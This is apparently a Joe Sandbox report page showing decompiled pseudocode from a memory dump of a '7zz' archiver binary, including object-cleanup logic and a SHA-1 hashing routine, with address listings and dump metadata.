								if(_t370 != _t451) {
									 *((intOrPtr*)( *_t370 + 8))(_t370);
									 *(_t643 + 0x4c) = _t451;
								}
								_t371 =  *(_t643 + 0x74);
								__eflags = _t371 - _t451;
								if(_t371 != _t451) {
									 *((intOrPtr*)( *_t371 + 8))(_t371);
									 *(_t643 + 0x74) = _t451;
								}
								_t372 =  *(_t643 + 0xb4);
								__eflags = _t372 - _t451;
								if(_t372 == _t451) {
									goto L130;
								} else {
									 *((intOrPtr*)( *_t372 + 8))(_t372);
									 *(_t643 + 0xb4) = _t451;
									_t310 = _t624;
									goto L142;
								}
							}
							goto L100;
						}
					}
					_t446 =  *_t312;
					__eflags = _t446;
					if(_t446 == 0) {
						goto L10;
					}
					_t548 =  *_t446;
					_t447 =  *(_t446 + 4);
					__eflags = _t447;
					 *((intOrPtr*)(_t661 + 0x58)) = _t548;
					 *(_t661 + 0x5c) = _t447;
					if(__eflags > 0) {
						goto L10;
					}
					if(__eflags < 0) {
						L9:
						 *(_t661 + 0x88) = 1;
						goto L10;
					}
					__eflags = _t548 - 0x1000000;
					if(_t548 > 0x1000000) {
						goto L10;
					}
					goto L9;
				} else {
					_t310 = 0x8007000e;
					goto L142;
				}
			}

0x004442e0
0x004442e2
0x004442ed
0x004442ee
0x004442f5
0x00444300
0x00444305
0x00444309
0x00444bf6
0x00444bf6
0x00444bfb
0x00444c03
0x00444c0d
0x00444c0d
0x0044430f
0x00444317
0x00000000
0x00000000
0x00444324
0x00444330
0x00444339
0x0044433b
0x00444343
0x00444347
0x0044434b
0x00444376
0x00444376
0x0044437a
0x0044438b
0x00444391
0x00444394
0x00444398
0x004443a0
0x004443ac
0x004443b4
0x004443c0
0x004443c8
0x004443d7
0x004443dc
0x004443e5
0x004443ea
0x004443fd
0x00444400
0x00444407
0x0044440d
0x00444411
0x00444411
0x00444413
0x00444424
0x0044442c
0x0044442e
0x0044442e
0x00444430
0x00444434
0x00444438
0x0044443c
0x00444443
0x00444447
0x0044444b
0x0044444f
0x00444453
0x00444457
0x0044445b
0x00444460
0x00444462
0x00444462
0x00444464
0x00000000
0x00000000
0x00000000
0x00000000
0x00444466
0x00444466
0x0044446a
0x00444482
0x00444484
0x00444486
0x00000000
0x00000000
0x0044448c
0x00444490
0x00444492
0x00000000
0x00000000
0x00444494
0x0044449d
0x0044449d
0x0044449f
0x00000000
0x00000000
0x00000000
0x0044449f
0x004449c7
0x004449cb
0x004449d0
0x004449d2
0x004449d7
0x004449d7
0x004449da
0x004449de
0x004449e9
0x004449f1
0x004449f9
0x00444a04
0x00444a09
0x00000000
0x004444a1
0x004444a1
0x004444a3
0x004444a6
0x004444aa
0x00444a10
0x00444a12
0x00444a14
0x00444ad1
0x00444ad1
0x00444adc
0x00444ade
0x00444ae2
0x00444ae4
0x00444ae9
0x00444aee
0x00444aee
0x00444af4
0x00444afc
0x00444b04
0x00444b0c
0x00444b11
0x00444b17
0x00444b19
0x00444b1e
0x00444b21
0x00444b21
0x00444b2b
0x00000000
0x00000000
0x00000000
0x00000000
0x00444a1a
0x00444a1a
0x00444a1a
0x00444a24
0x00444a27
0x00444a2c
0x00444a35
0x00444a36
0x00444a38
0x00444a3b
0x00444a3d
0x00444a3d
0x00444a42
0x00444a45
0x00444a56
0x00444a59
0x00444a62
0x00444a6a
0x00000000
0x00000000
0x00444a71
0x00444a74
0x00000000
0x00000000
0x00444a76
0x00000000
0x00444a76
0x00444a5b
0x00000000
0x00444a47
0x00444a4e
0x00444a7b
0x00444a8e
0x00444a9f
0x00444aa6
0x00444aa9
0x00444aae
0x00444ab0
0x00444ab0
0x00444ab5
0x00444ab8
0x00444ab8
0x00444aae
0x00444abd
0x00444ac1
0x00444ac2
0x00444ac4
0x00444ac4
0x00000000
0x00444a1a
0x004444b0
0x004444b0
0x004444b3
0x004444be
0x004444c2
0x004444c2
0x004444c6
0x004444d6
0x004444d9
0x004444dc
0x004444df
0x004444ec
0x004444ed
0x004444ef
0x004444f2
0x004444f4
0x004444f4
0x004444fe
0x00444501
0x00444524
0x0044452d
0x00444542
0x00444550
0x00444554
0x0044455a
0x0044455a
0x0044455e
0x00444562
0x00444564
0x00444568
0x004446de
0x004446e0
0x004446f8
0x004446fa
0x00444705
0x00444705
0x00444707
0x00444707
0x0044470e
0x00444711
0x00444723
0x00444729
0x00444729
0x00444713
0x0044471a
0x0044471a
0x0044472e
0x00444730
0x0044487b
0x0044488a
0x004448a0
0x004448a7
0x004448aa
0x004448af
0x0044493e
0x0044493e
0x0044493e
0x0044493e
0x00000000
0x0044493e
0x004448b5
0x004448bb
0x004448c1
0x004448c4
0x004448d9
0x004448d9
0x004448dc
0x004448df
0x004448f6
0x004448ff
0x00444902
0x00444905
0x00444907
0x0044490b
0x0044490b
0x00444912
0x00444915
0x00444915
0x00444916
0x00444916
0x0044491a
0x0044491f
0x0044491f
0x00444922
0x00444925
0x00444927
0x0044492f
0x0044492f
0x00444932
0x00444935
0x00444937
0x00000000
0x00444937
0x004448d0
0x004448d5
0x004448d7
0x00000000
0x00000000
0x00000000
0x00444736
0x00444736
0x00444739
0x00444745
0x0044474f
0x00444755
0x0044475d
0x0044476e
0x00444775
0x00444778
0x0044477d
0x0044480c
0x00444816
0x00444819
0x00444820
0x0044482f
0x00444822
0x00444826
0x00444826
0x00444832
0x00444836
0x0044483b
0x00444846
0x0044484f
0x00444852
0x00444855
0x00444857
0x0044485b
0x0044485b
0x00444860
0x00444860
0x00444860
0x0044486c
0x00000000
0x0044486c
0x00444783
0x00444789
0x0044478f
0x00444792
0x004447a7
0x004447a7
0x004447aa
0x004447ad
0x004447c4
0x004447cd
0x004447d0
0x004447d3
0x004447d5
0x004447d9
0x004447d9
0x004447e0
0x004447e3
0x004447e3
0x004447e4
0x004447e4
0x004447e8
0x004447ed
0x004447ed
0x004447f0
0x004447f3
0x004447f5
0x004447fd
0x004447fd
0x00444800
0x00444803
0x00444805
0x00000000
0x00444805
0x0044479e
0x004447a3
0x004447a5
0x00000000
0x00000000
0x00000000
0x004447a5
0x00444730
0x004446fc
0x004446ff
0x00000000
0x00000000
0x00444701
0x00000000
0x00444701
0x004446e8
0x004446ea
0x004446f4
0x004446f4
0x00000000
0x004446f4
0x004446ec
0x00000000
0x00000000
0x004446ee
0x004446f2
0x00000000
0x00000000
0x00000000
0x004446f2
0x00444578
0x0044457e
0x00444580
0x00444582
0x00444646
0x00444646
0x00444648
0x00444680
0x00444684
0x00444688
0x00444688
0x0044468a
0x0044468e
0x00444692
0x0044469b
0x0044469b
0x0044469d
0x00000000
0x00000000
0x0044469f
0x004446a2
0x00000000
0x00000000
0x004446a4
0x00000000
0x004446a4
0x00444694
0x00444699
0x004446b0
0x004446b3
0x004446b5
0x004446b8
0x004446bb
0x004446bd
0x004446d3
0x004446d3
0x00000000
0x004446d3
0x004446bf
0x004446c5
0x004446c5
0x004446c9
0x00000000
0x00000000
0x004446cb
0x00000000
0x00000000
0x004446cd
0x004446d1
0x00000000
0x00000000
0x00000000
0x004446d1
0x004446c1
0x004446c3
0x00000000
0x00000000
0x00000000
0x004446c3
0x00000000
0x00444699
0x00444651
0x00444653
0x00000000
0x00000000
0x0044465b
0x0044465d
0x00444675
0x00444675
0x00000000
0x00444675
0x0044465f
0x00000000
0x00000000
0x0044466d
0x0044466f
0x00000000
0x00000000
0x00000000
0x0044466f
0x00444588
0x00000000
0x00444594
0x00444594
0x00444594
0x004445a9
0x004445ab
0x004445ad
0x004445ef
0x004445f2
0x00444600
0x00444600
0x00444604
0x00444606
0x0044460b
0x0044460e
0x0044460e
0x00444610
0x00444610
0x00444616
0x0044461a
0x0044461e
0x00444621
0x00444625
0x00000000
0x00444625
0x004445f4
0x004445fa
0x00444b32
0x00444b36
0x00444b3b
0x00444b3d
0x00444b42
0x00444b42
0x00444b45
0x00444b49
0x00444b54
0x00444b5c
0x00444b61
0x00444b66
0x00444b68
0x00444b6d
0x00444b70
0x00444b70
0x00444b73
0x00444b79
0x00444b7b
0x00444b80
0x00444b83
0x00444b83
0x00444b89
0x00444b89
0x00000000
0x00444b89
0x00000000
0x004445fa
0x004445af
0x004445b7
0x004445bf
0x004445c5
0x004445c9
0x004445d1
0x004445d3
0x004445de
0x004445e1
0x004445e9
0x00444629
0x00444629
0x00444629
0x00444633
0x00000000
0x00000000
0x00444635
0x00444635
0x0044463f
0x00000000
0x0044463f
0x0044458a
0x0044458e
0x00000000
0x00000000
0x00000000
0x00444503
0x00444503
0x0044450b
0x00444517
0x00444518
0x00444945
0x00444945
0x00000000
0x00444945
0x00444512
0x00444515
0x00000000
0x00000000
0x00000000
0x00444515
0x0044494c
0x0044494c
0x00444957
0x00444957
0x0044496b
0x00444976
0x0044497a
0x0044497f
0x00444981
0x00444983
0x0044498b
0x004449a3
0x004449a3
0x004449a7
0x004449a9
0x004449c0
0x00000000
0x00000000
0x00000000
0x00000000
0x004449ab
0x004449ab
0x004449af
0x004449b0
0x004449b4
0x004449ba
0x004449ba
0x00000000
0x004449ab
0x00444999
0x0044499b
0x0044499d
0x00444b8d
0x00444b91
0x00444b96
0x00444b98
0x00444b9d
0x00444b9d
0x00444ba0
0x00444ba4
0x00444bac
0x00444baf
0x00444bb1
0x00444bb6
0x00444bb9
0x00444bb9
0x00444bbc
0x00444bbf
0x00444bc1
0x00444bc6
0x00444bc9
0x00444bc9
0x00444bcc
0x00444bcf
0x00444bd1
0x00444bd6
0x00444bd9
0x00444bd9
0x00444bdc
0x00444be2
0x00444be4
0x00000000
0x00444be6
0x00444be9
0x00444bec
0x00444bf2
0x00000000
0x00444bf2
0x00444be4
0x00000000
0x0044499d
0x0044445b
0x0044434d
0x0044434f
0x00444351
0x00000000
0x00000000
0x00444353
0x00444355
0x00444358
0x0044435a
0x0044435e
0x00444362
0x00000000
0x00000000
0x00444364
0x0044436e
0x0044436e
0x00000000
0x0044436e
0x00444366
0x0044436c
0x00000000
0x00000000
0x00000000
0x00444326
0x00444326
0x00000000
0x00444326

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 847cf75e5ec63b3d96b7018282e4526a6bca975eef9a7bcce02b43c1c4303fcc
Instruction ID: d9c78973a52d2a71a409461f923dbd808430b2c09cbe0837c917e918da1c98db
Opcode Fuzzy Hash: 847cf75e5ec63b3d96b7018282e4526a6bca975eef9a7bcce02b43c1c4303fcc
Instruction Fuzzy Hash: D75239706087418FE724CF29C480B6AF7E2BFC5314F148A1EE59987791DB38E846CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00456CF0 Relevance: .6, Instructions: 615
COMMONCrypto

Download Yara Rule

C-Code - Quality: 47%

			E00456CF0(signed int* __ecx) {
				unsigned int* _t315;
				signed int _t317;
				signed int _t323;
				signed int _t328;
				signed int _t334;
				signed int* _t336;
				signed int* _t337;
				intOrPtr* _t340;
				intOrPtr _t341;
				signed int _t348;
				signed int _t349;
				signed int _t353;
				signed int _t358;
				signed int _t363;
				signed int _t368;
				unsigned int _t371;
				unsigned int _t380;
				signed int _t384;
				unsigned int _t389;
				signed int _t392;
				signed int _t395;
				void* _t398;
				unsigned int _t399;
				signed int _t405;
				unsigned int _t408;
				unsigned int _t414;
				signed int _t417;
				signed int _t422;
				signed int _t423;
				signed int _t429;
				signed int _t438;
				signed int _t443;
				signed int _t449;
				signed int _t455;
				signed int _t460;
				signed int _t465;
				signed int _t469;
				signed int _t474;
				signed int _t478;
				signed int _t482;
				signed int _t486;
				unsigned int _t494;
				intOrPtr* _t495;
				signed int _t504;
				signed int _t505;
				signed int _t508;
				signed int _t509;
				signed int _t510;
				signed int _t511;
				signed int _t515;
				signed int _t516;
				signed int _t519;
				signed int _t521;
				signed int _t527;
				signed int _t531;
				signed int _t551;
				signed int _t552;
				signed int _t553;
				signed int _t554;
				signed int _t555;
				signed int _t558;
				signed int _t632;
				signed int _t637;
				signed int _t648;
				signed int _t662;
				signed int* _t675;
				signed int _t729;
				void* _t744;

				_t509 = __ecx[2];
				_t632 =  *__ecx;
				_t554 = __ecx[3];
				 *((intOrPtr*)(_t744 + 0x2c)) = __ecx;
				 *(_t744 + 0x1c) = __ecx[4];
				_t398 =  *(_t744 + 0x178);
				 *(_t744 + 0x10) = __ecx[1];
				 *((intOrPtr*)(_t744 + 0x28)) = _t744 + 0x34 - _t398;
				 *(_t744 + 0x18) = _t744 + 0x38;
				 *((intOrPtr*)(_t744 + 0x30)) = _t744 + 0x38 - _t398;
				_t315 = _t398 + 8;
				 *(_t744 + 0x24) = _t744 + 0x3c - _t398;
				 *(_t744 + 0x14) = 3;
				do {
					_t399 =  *(_t315 - 8);
					 *(_t744 + 0x20) = _t399;
					 *( *(_t744 + 0x18) - 4) = _t399;
					asm("rol ebx, 0x5");
					_t380 =  *(_t315 - 4);
					 *(_t744 + 0x20) = _t380;
					 *(_t744 + 0x1c) =  *(_t744 + 0x1c) + ((_t554 ^ _t509) &  *(_t744 + 0x10) ^ _t554) +  *(_t744 + 0x20) + _t632 + 0x5a827999;
					_t405 =  *(_t744 + 0x10);
					 *( *(_t744 + 0x18)) = _t380;
					asm("rol ecx, 0x1e");
					 *(_t744 + 0x10) = _t405;
					asm("rol ebx, 0x5");
					_t408 =  *_t315;
					asm("rol esi, 0x1e");
					_t554 = _t554 + ((_t509 ^ _t405) & _t632 ^ _t509) +  *(_t744 + 0x20) +  *(_t744 + 0x1c) + 0x5a827999;
					 *(_t744 + 0x20) = _t408;
					 *( *((intOrPtr*)(_t744 + 0x28)) + _t315) = _t408;
					asm("rol ebx, 0x5");
					asm("rol ecx, 0x1e");
					_t509 = _t509 + (( *(_t744 + 0x10) ^ _t632) &  *(_t744 + 0x1c) ^  *(_t744 + 0x10)) +  *(_t744 + 0x20) + _t554 + 0x5a827999;
					_t384 =  *(_t744 + 0x1c);
					_t414 = _t315[1];
					 *(_t744 + 0x1c) = _t384;
					 *(_t315 +  *((intOrPtr*)(_t744 + 0x30))) = _t414;
					asm("rol ebp, 0x5");
					asm("rol edi, 0x1e");
					_t417 =  *(_t744 + 0x10) + ((_t384 ^ _t632) & _t554 ^ _t632) + _t414 + _t509 + 0x5a827999;
					_t389 = _t315[2];
					 *(_t744 + 0x20) = _t389;
					 *(_t315 +  *(_t744 + 0x24)) = _t389;
					 *(_t744 + 0x10) = _t417;
					asm("rol ebx, 0x5");
					_t315 =  &(_t315[5]);
					asm("rol edx, 0x1e");
					_t632 = _t632 + (( *(_t744 + 0x1c) ^ _t554) & _t509 ^  *(_t744 + 0x1c)) +  *(_t744 + 0x20) + _t417 + 0x5a827999;
					_t422 =  *(_t744 + 0x14) - 1;
					 *(_t744 + 0x18) =  *(_t744 + 0x18) + 0x14;
					 *(_t744 + 0x14) = _t422;
				} while (_t422 != 0);
				_t423 =  *( *(_t744 + 0x178) + 0x3c);
				_t317 =  *(_t744 + 0x10);
				 *(_t744 + 0x70) = _t423;
				asm("rol ebx, 0x5");
				asm("rol eax, 0x1e");
				_t392 =  *(_t744 + 0x1c) + ((_t554 ^ _t509) & _t317 ^ _t554) + _t423 + _t632 + 0x5a827999;
				 *(_t744 + 0x1c) = _t392;
				_t429 =  *(_t744 + 0x34) ^  *(_t744 + 0x3c) ^  *(_t744 + 0x54) ^  *(_t744 + 0x68);
				 *(_t744 + 0x10) = _t317;
				asm("rol ecx, 1");
				asm("rol ebx, 0x5");
				 *(_t744 + 0x74) = _t429;
				_t555 = _t554 + ((_t509 ^ _t317) & _t632 ^ _t509) + _t429 + _t392 + 0x5a827999;
				_t323 =  *(_t744 + 0x38) ^  *(_t744 + 0x40) ^  *(_t744 + 0x58) ^  *(_t744 + 0x6c);
				asm("rol esi, 0x1e");
				 *(_t744 + 0x14) = _t632;
				asm("rol eax, 1");
				asm("rol ebx, 0x5");
				 *(_t744 + 0x78) = _t323;
				_t395 =  *(_t744 + 0x1c);
				_t510 = _t509 + (( *(_t744 + 0x10) ^ _t632) &  *(_t744 + 0x1c) ^  *(_t744 + 0x10)) + _t323 + _t555 + 0x5a827999;
				 *(_t744 + 0x18) = _t510;
				asm("rol ebx, 0x1e");
				_t328 =  *(_t744 + 0x44) ^  *(_t744 + 0x5c) ^  *(_t744 + 0x3c) ^  *(_t744 + 0x70);
				_t511 =  *(_t744 + 0x14);
				asm("rol eax, 1");
				asm("rol esi, 0x5");
				 *(_t744 + 0x7c) = _t328;
				_t637 =  *(_t744 + 0x10) + ((_t395 ^ _t511) & _t555 ^ _t511) + _t328 + _t510 + 0x5a827999;
				 *(_t744 + 0x10) = _t637;
				 *(_t744 + 0x1c) = 4;
				asm("rol edi, 0x1e");
				_t729 = _t555;
				_t558 =  *(_t744 + 0x18);
				_t334 =  *(_t744 + 0x48) ^  *(_t744 + 0x60) ^  *(_t744 + 0x40) ^ _t429;
				asm("rol eax, 1");
				asm("rol esi, 0x5");
				 *(_t744 + 0x80) = _t334;
				_t336 = _t744 + 0x64;
				asm("rol edi, 0x1e");
				 *(_t744 + 0x18) = _t558;
				 *(_t744 + 0x14) = _t511 + ((_t395 ^ _t729) & _t558 ^ _t395) + _t334 + _t637 + 0x5a827999;
				do {
					_t438 =  *(_t336 - 0x20) ^  *(_t336 - 0x18) ^ _t336[5] ^  *_t336;
					_t515 =  *(_t744 + 0x10);
					asm("rol ecx, 1");
					asm("rol esi, 0x5");
					 *(_t744 + 0x24) =  *(_t744 + 0x14);
					_t336[8] = _t438;
					_t395 = _t395 + (_t729 ^ _t558 ^ _t515) + _t438 +  *(_t744 + 0x24) + 0x6ed9eba1;
					_t443 =  *(_t336 - 0x1c) ^ _t336[6] ^ _t336[1] ^  *(_t336 - 0x14);
					asm("rol edx, 0x1e");
					 *(_t744 + 0x10) = _t515;
					_t516 =  *(_t744 + 0x14);
					asm("rol ecx, 1");
					asm("rol esi, 0x5");
					_t336[9] = _t443;
					asm("rol ecx, 0x1e");
					 *(_t744 + 0x14) = _t516;
					_t729 = ( *(_t744 + 0x18) ^ _t515 ^ _t516) + _t443 + _t395 + _t729 + 0x6ed9eba1;
					_t449 = _t336[7] ^ _t336[2] ^  *(_t336 - 0x18) ^  *(_t336 - 0x10);
					asm("rol ecx, 1");
					_t519 =  *(_t744 + 0x14);
					asm("rol esi, 0x5");
					_t336[0xa] = _t449;
					asm("rol ebx, 0x1e");
					_t648 =  *(_t744 + 0x18) + (_t395 ^  *(_t744 + 0x10) ^ _t519) + _t449 + _t729 + 0x6ed9eba1;
					 *(_t744 + 0x18) = _t648;
					_t455 =  *(_t336 - 0xc) ^ _t336[3] ^  *(_t336 - 0x14) ^ _t336[8];
					asm("rol ecx, 1");
					asm("rol esi, 0x5");
					_t336[0xb] = _t455;
					_t521 =  *(_t744 + 0x10) + (_t395 ^ _t729 ^ _t519) + _t455 + _t648 + 0x6ed9eba1;
					_t460 = _t336[4] ^  *(_t336 - 8) ^  *(_t336 - 0x10) ^ _t336[9];
					asm("rol ebp, 0x1e");
					asm("rol ecx, 1");
					_t336[0xc] = _t460;
					_t336 =  &(_t336[5]);
					asm("rol esi, 0x5");
					 *(_t744 + 0x10) = _t521;
					_t558 =  *(_t744 + 0x18);
					 *(_t744 + 0x14) =  *(_t744 + 0x14) + (_t395 ^ _t729 ^  *(_t744 + 0x18)) + _t460 + _t521 + 0x6ed9eba1;
					asm("rol edi, 0x1e");
					_t465 =  *(_t744 + 0x1c) - 1;
					 *(_t744 + 0x18) = _t558;
					 *(_t744 + 0x1c) = _t465;
				} while (_t465 != 0);
				_t337 = _t744 + 0xb4;
				 *(_t744 + 0x20) = 4;
				while(1) {
					_t469 =  *(_t337 - 0x20) ^  *_t337 ^  *(_t337 - 0x18) ^ _t337[5];
					asm("rol ecx, 1");
					 *(_t744 + 0x24) = _t469;
					_t337[8] = _t469;
					asm("rol ecx, 0x5");
					asm("rol edx, 0x1e");
					_t395 = ((_t558 | _t521) & _t729 | _t558 & _t521) +  *(_t744 + 0x24) + _t395 +  *(_t744 + 0x14) - 0x70e44324;
					_t474 =  *(_t337 - 0x1c) ^ _t337[6] ^ _t337[1] ^  *(_t337 - 0x14);
					 *(_t744 + 0x10) = _t521;
					asm("rol ecx, 1");
					_t337[9] = _t474;
					asm("rol esi, 0x5");
					_t478 = _t337[7] ^ _t337[2] ^  *(_t337 - 0x18) ^  *(_t337 - 0x10);
					_t662 = ((_t521 |  *(_t744 + 0x14)) &  *(_t744 + 0x18) |  *(_t744 + 0x10) &  *(_t744 + 0x14)) + _t474 + _t729 + _t395 - 0x70e44324;
					_t527 =  *(_t744 + 0x14);
					asm("rol edx, 0x1e");
					 *(_t744 + 0x1c) = _t662;
					 *(_t744 + 0x14) = _t527;
					asm("rol ecx, 1");
					_t337[0xa] = _t478;
					asm("rol esi, 0x5");
					_t558 = ((_t395 | _t527) &  *(_t744 + 0x10) | _t395 & _t527) + _t478 +  *(_t744 + 0x18) + _t662 - 0x70e44324;
					_t482 =  *(_t337 - 0xc) ^ _t337[3] ^  *(_t337 - 0x14) ^ _t337[8];
					asm("rol ebx, 0x1e");
					asm("rol ecx, 1");
					_t337[0xb] = _t482;
					asm("rol esi, 0x5");
					_t337 =  &(_t337[5]);
					_t531 = _t558 + ((_t395 |  *(_t744 + 0x1c)) & _t527 | _t395 &  *(_t744 + 0x1c)) + _t482 +  *(_t744 + 0x10) - 0x70e44324;
					_t729 =  *(_t744 + 0x1c);
					 *(_t744 + 0x10) = _t531;
					_t486 =  *(_t337 - 4) ^  *(_t337 - 0x1c) ^  *(_t337 - 0x24) ^ _t337[4];
					asm("rol ebp, 0x1e");
					asm("rol ecx, 1");
					 *(_t744 + 0x24) = _t486;
					_t337[7] = _t486;
					asm("rol edx, 0x5");
					asm("rol edi, 0x1e");
					_t230 = _t531 - 0x70e44324; // -1894007584
					_t494 =  *(_t744 + 0x20) - 1;
					 *(_t744 + 0x14) = ((_t729 | _t558) & _t395 | _t729 & _t558) +  *(_t744 + 0x24) +  *(_t744 + 0x14) + _t230;
					 *(_t744 + 0x18) = _t558;
					 *(_t744 + 0x20) = _t494;
					if(_t494 == 0) {
						break;
					}
					_t521 =  *(_t744 + 0x10);
				}
				if(0x3c < 0x50) {
					_t675 = _t744 + 0x104;
					 *(_t744 + 0x20) = 0xfffffffb33333338 >> 0x20 >> 2;
					do {
						_t348 =  *(_t675 - 0x20) ^  *_t675 ^  *(_t675 - 0x18) ^ _t675[5];
						_t504 =  *(_t744 + 0x10);
						asm("rol eax, 1");
						asm("rol edx, 0x5");
						 *(_t744 + 0x24) =  *(_t744 + 0x14);
						_t675[8] = _t348;
						_t349 =  *(_t744 + 0x24);
						asm("rol ecx, 0x1e");
						_t253 = _t349 - 0x359d3e2a; // -899497510
						_t395 = (_t729 ^ _t558 ^ _t504) + _t348 + _t395 + _t253;
						_t353 =  *(_t675 - 0x1c) ^ _t675[6] ^ _t675[1] ^  *(_t675 - 0x14);
						 *(_t744 + 0x10) = _t504;
						_t505 =  *(_t744 + 0x14);
						asm("rol eax, 1");
						_t675[9] = _t353;
						asm("rol edx, 0x5");
						asm("rol eax, 0x1e");
						 *(_t744 + 0x14) = _t505;
						_t729 = ( *(_t744 + 0x18) ^ _t504 ^ _t505) + _t353 + _t729 + _t395 - 0x359d3e2a;
						_t358 = _t675[7] ^ _t675[2] ^  *(_t675 - 0x18) ^  *(_t675 - 0x10);
						_t508 =  *(_t744 + 0x14);
						asm("rol eax, 1");
						_t675[0xa] = _t358;
						_t551 = _t729;
						asm("rol edx, 0x5");
						asm("rol ebx, 0x1e");
						_t274 = _t551 - 0x359d3e2a; // -1798995024
						_t552 = (_t395 ^  *(_t744 + 0x10) ^ _t508) + _t358 +  *(_t744 + 0x18) + _t274;
						_t363 =  *(_t675 - 0xc) ^ _t675[3] ^  *(_t675 - 0x14) ^ _t675[8];
						 *(_t744 + 0x18) = _t552;
						asm("rol eax, 1");
						_t675[0xb] = _t363;
						asm("rol edx, 0x5");
						_t283 = _t552 - 0x359d3e2a; // -1798995024
						_t553 = (_t395 ^ _t729 ^ _t508) + _t363 +  *(_t744 + 0x10) + _t283;
						 *(_t744 + 0x10) = _t553;
						_t368 = _t675[4] ^  *(_t675 - 8) ^  *(_t675 - 0x10) ^ _t675[9];
						asm("rol ebp, 0x1e");
						_t675 =  &(_t675[5]);
						asm("rol eax, 1");
						_t675[7] = _t368;
						asm("rol edx, 0x5");
						_t558 =  *(_t744 + 0x18);
						 *(_t744 + 0x14) = (_t395 ^ _t729 ^  *(_t744 + 0x18)) + _t368 + _t508 + _t553 - 0x359d3e2a;
						asm("rol edi, 0x1e");
						_t371 =  *(_t744 + 0x20) - 1;
						 *(_t744 + 0x18) = _t558;
						 *(_t744 + 0x20) = _t371;
					} while (_t371 != 0);
				}
				_t495 =  *((intOrPtr*)(_t744 + 0x2c));
				_t340 =  *((intOrPtr*)(_t744 + 0x17c));
				 *_t340 =  *(_t744 + 0x14) +  *_t495;
				 *((intOrPtr*)(_t340 + 4)) =  *((intOrPtr*)(_t495 + 4)) +  *(_t744 + 0x10);
				 *((intOrPtr*)(_t340 + 8)) =  *((intOrPtr*)(_t495 + 8)) + _t558;
				 *((intOrPtr*)(_t340 + 0xc)) = _t729 +  *((intOrPtr*)(_t495 + 0xc));
				 *((intOrPtr*)(_t340 + 0x10)) =  *((intOrPtr*)(_t495 + 0x10)) + _t395;
				_t341 =  *((intOrPtr*)(_t744 + 0x180));
				if(_t341 != 0) {
					return memcpy( *(_t744 + 0x178), _t744 + 0x134, 0x10 << 2);
				}
				return _t341;
			}

0x00456cf9
0x00456cff
0x00456d02
0x00456d05
0x00456d0c
0x00456d10
0x00456d1b
0x00456d25
0x00456d2f
0x00456d33
0x00456d3d
0x00456d40
0x00456d44
0x00456d4c
0x00456d50
0x00456d55
0x00456d59
0x00456d6a
0x00456d71
0x00456d7a
0x00456d89
0x00456d8d
0x00456d91
0x00456d98
0x00456d9d
0x00456da7
0x00456db6
0x00456db8
0x00456dbb
0x00456dc6
0x00456dca
0x00456de1
0x00456dec
0x00456def
0x00456dfa
0x00456dfc
0x00456dff
0x00456e03
0x00456e0a
0x00456e1d
0x00456e20
0x00456e27
0x00456e2a
0x00456e2e
0x00456e31
0x00456e41
0x00456e4c
0x00456e55
0x00456e58
0x00456e66
0x00456e67
0x00456e6b
0x00456e6b
0x00456e82
0x00456e85
0x00456e8b
0x00456e8f
0x00456e9c
0x00456e9f
0x00456eae
0x00456ebe
0x00456ec4
0x00456ec8
0x00456eca
0x00456edf
0x00456ee3
0x00456ef8
0x00456efe
0x00456f01
0x00456f0b
0x00456f13
0x00456f16
0x00456f22
0x00456f2c
0x00456f3f
0x00456f43
0x00456f46
0x00456f4a
0x00456f52
0x00456f54
0x00456f59
0x00456f67
0x00456f6e
0x00456f76
0x00456f7e
0x00456f81
0x00456f8f
0x00456f93
0x00456f99
0x00456f9b
0x00456fa0
0x00456fad
0x00456fb1
0x00456fbb
0x00456fbf
0x00456fc3
0x00456fd6
0x00456fd8
0x00456fdc
0x00456fde
0x00456fe1
0x00456fed
0x00457001
0x0045700f
0x00457015
0x00457018
0x0045701e
0x00457022
0x00457024
0x00457027
0x00457038
0x0045703b
0x00457042
0x00457056
0x0045705a
0x0045705e
0x00457062
0x00457065
0x00457072
0x00457075
0x00457082
0x00457090
0x00457094
0x00457096
0x0045709b
0x004570ae
0x004570c1
0x004570c5
0x004570c8
0x004570cc
0x004570d3
0x004570d6
0x004570db
0x004570ec
0x004570f0
0x004570f8
0x004570fb
0x004570fc
0x00457100
0x00457100
0x0045710a
0x00457111
0x0045711f
0x0045712e
0x00457136
0x0045713a
0x00457144
0x00457150
0x00457155
0x00457158
0x0045716c
0x00457172
0x00457188
0x0045718c
0x004571a3
0x004571aa
0x004571ac
0x004571b3
0x004571b7
0x004571bc
0x004571c2
0x004571cc
0x004571d6
0x004571e1
0x004571e9
0x004571f7
0x004571f9
0x004571fc
0x004571fe
0x00457201
0x00457206
0x00457222
0x0045722c
0x00457235
0x0045723e
0x00457240
0x00457243
0x00457245
0x00457249
0x00457262
0x00457267
0x0045726a
0x00457275
0x00457276
0x0045727a
0x0045727e
0x00457282
0x00000000
0x00000000
0x0045711b
0x0045711b
0x00457290
0x0045729b
0x004572ab
0x004572af
0x004572c2
0x004572c4
0x004572c8
0x004572ca
0x004572cd
0x004572d5
0x004572df
0x004572e5
0x004572e8
0x004572e8
0x004572fc
0x00457302
0x00457308
0x0045730e
0x00457312
0x0045731e
0x00457321
0x00457324
0x0045732b
0x00457342
0x00457346
0x0045734a
0x0045734e
0x00457357
0x0045735e
0x00457361
0x00457364
0x00457364
0x00457378
0x0045737e
0x00457382
0x00457386
0x0045738f
0x00457397
0x00457397
0x004573a1
0x004573af
0x004573b3
0x004573b8
0x004573bf
0x004573c3
0x004573c6
0x004573d2
0x004573d6
0x004573de
